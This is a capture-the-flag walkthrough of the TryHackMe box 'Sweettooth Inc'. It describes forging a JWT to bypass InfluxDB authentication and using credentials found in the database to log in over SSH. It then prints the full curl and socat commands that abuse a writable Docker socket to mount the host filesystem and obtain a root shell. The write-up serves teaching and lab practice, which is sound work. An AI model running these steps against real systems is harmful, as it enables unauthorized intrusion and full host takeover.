Sweettooth Inc - THM
Sweettooth Inc, is a medium rated box. User obtained by using exploiting influxdb and root gained by docker escape

Sweettooth Inc, is a medium rated box. User obtained by using exploiting influxdb and root gained by docker escape
Recon
nmap
Start the box with a nmap scan to identify what services are running on the box, including the version of the service.
# Nmap 7.91 scan initiated Mon Jul 26 14:24:14 2021 as: nmap -sC -sV -p- -Pn -oN scans/sweettooth.nmap sweettooth.thm
Nmap scan report for sweettooth.thm (10.10.92.241)
Host is up (0.17s latency).
Not shown: 65531 closed ports
PORT STATE SERVICE VERSION
111/tcp open rpcbind 2-4 (RPC #100000)
| rpcinfo:
| program version port/proto service
| 100000 2,3,4 111/tcp rpcbind
| 100000 2,3,4 111/udp rpcbind
| 100000 3,4 111/tcp6 rpcbind
| 100000 3,4 111/udp6 rpcbind
| 100024 1 43982/tcp status
| 100024 1 44278/udp status
| 100024 1 57927/tcp6 status
|_ 100024 1 60404/udp6 status
2222/tcp open ssh OpenSSH 6.7p1 Debian 5+deb8u8 (protocol 2.0)
| ssh-hostkey:
| 1024 b0:ce:c9:21:65:89:94:52:76:48:ce:d8:c8:fc:d4:ec (DSA)
| 2048 7e:86:88:fe:42:4e:94:48:0a:aa:da:ab:34:61:3c:6e (RSA)
| 256 04:1c:82:f6:a6:74:53:c9:c4:6f:25:37:4c:bf:8b:a8 (ECDSA)
|_ 256 49:4b:dc:e6:04:07:b6:d5:ab:c0:b0:a3:42:8e:87:b5 (ED25519)
8086/tcp open http InfluxDB http admin 1.3.0
|_http-title: Site doesn't have a title (text/plain; charset=utf-8).
43982/tcp open status 1 (RPC #100024)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Mon Jul 26 14:32:36 2021 -- 1 IP address (1 host up) scanned in 502.29 seconds
From the scan we identified two services running:
- rpc
- ssh
- influxdb
ffuf
{"url":"http://sweettooth.thm:8086/status","status":204}
{"url":"http://sweettooth.thm:8086/query","status":401}
{"url":"http://sweettooth.thm:8086/ping","status":204}
{"url":"http://sweettooth.thm:8086/write","status":405}
Enumeration
influxdb
After running our ffuf scan we know that we can query the database, however it is authenticated. After some research I found a blogpost detailing the steps.
We first visit /debug/requests
to find a username, which is o5yY6yya
.

Now that we have a username, we need to create a jwt token in which there is a username and a valid expiry date in epoch. Additionally, we can type up any secret key and then include the secret key in the payload.

We then copy the jwt token an use in the following header Authorization: Bearer <TOKEN>

Now that we gained access to query the databases, we first check the databases present

To get the temperature of the water tank, we use the tanks database, get the tables and finally get the temperature.

To get the correct temperature, we first convert the epoch time to human reable time which is Tuesday, May 18, 2021 2:00:00 PM

For the mixer stats, we follow the same procedure as above and use the mixer databases. To get the highest rpm we modify our query to use the MAX
selector

Exploitation
While enumerating influxdb, we found an interesting database of creds
assuming it contains credentials to the system. Looking at the tables in the database, we find a ssh
table. Finally by listing the records in the table we find a username and password albeit unconvetional.

We use those creds to login to ssh and we get the user flag.

Privesc
docker root
Knowing that we have a writeable docker socket, but no docker client I decided to download the docker client binary and upload it to the machine.
Next we use the docker binary to run a new instance of sweettoothinc

host root
Knowing that we have write ability on the docker socket, we can escape docker by following the steps listed in this article. One small caveat is that we need to download the latest version of curl binary on the docker machine
Once we have downloaded the curl binary on the docker machine we rename it to curl and export a new path export PATH=$PWD:$PATH
, where pwd is the path containing the new curl binary
We now get the docker images
uzJk6Ry98d8C@2e7c83f85a38:~$ curl -XGET --unix-socket /var/run/docker.sock http://localhost/images/json
[{"Containers":-1,"Created":1621349458,"Id":"sha256:26a697c0d00f06d8ab5cd16669d0b4898f6ad2c19c73c8f5e27231596f5bec5e","Labels":{},"ParentId":"sha256:213cc0db00922f32cf219291c2f81dfd410304b093a44703927a1db630d7722d","RepoDigests":null,"RepoTags":["sweettoothinc:latest"],"SharedSize":-1,"Size":358659530,"VirtualSize":358659530},{"Containers":-1,"Created":1499487353,"Id":"sha256:e1b5eda429c335c11c07ea85e63f8a60518af69212f19fe50a2a28717744b384","Labels":{},"ParentId":"","RepoDigests":["influxdb@sha256:99ef42027ac794b038ceb829537e92881e7648fa8c62c89ce84531d69177a635"],"RepoTags":["influxdb:1.3.0"],"SharedSize":-1,"Size":227323286,"VirtualSize":227323286}]
Next we create a new container, in which we mount the host in the new host_root
folder
uzJk6Ry98d8C@2e7c83f85a38:~$ curl -XPOST -H "Content-Type: application/json" --unix-socket /var/run/docker.sock -d '{"Image":"e1b5eda429c335c11c07ea85e63f8a60518af69212f19fe50a2a28717744b384","Cmd":["/bin/sh"],"DetachKeys":"Ctrl-p,Ctrl-q","OpenStdin":true,"Mounts":[{"Type":"bind","Source":"/","Target":"/host_root"}]}' http://localhost/containers/create
{"Id":"50db63dcfd9986daee5373fa0d65e095986446ae0d8301ddddd637ae011c2924","Warnings":null}
Now we start the newly created image
uzJk6Ry98d8C@2e7c83f85a38:~$ curl -XPOST --unix-socket /var/run/docker.sock http://localhost/containers/50db63dcfd9986daee5373fa0d65e095986446ae0d8301ddddd637ae011c2924/start
Finally we use socat to connect to the docker image
uzJk6Ry98d8C@2e7c83f85a38:~$ socat - UNIX-CONNECT:/var/run/docker.sock
POST /containers/50db63dcfd9986daee5373fa0d65e095986446ae0d8301ddddd637ae011c2924/attach?stream=1&stdin=1&stdout=1&stderr=1 HTTP/1.1
Host:
Connection: Upgrade
Upgrade: tcp
HTTP/1.1 101 UPGRADED
Content-Type: application/vnd.docker.raw-stream
Connection: Upgrade
Upgrade: tcp
id
'uid=0(root) gid=0(root) groups=0(root)
Navigating to /host_root/root
we get the host root flag

Lessons Learned
Try not to expose database to the world and ensure the database is always patched. Do not mount docker sockets in images and if you absolutely have to make sure only root can read and write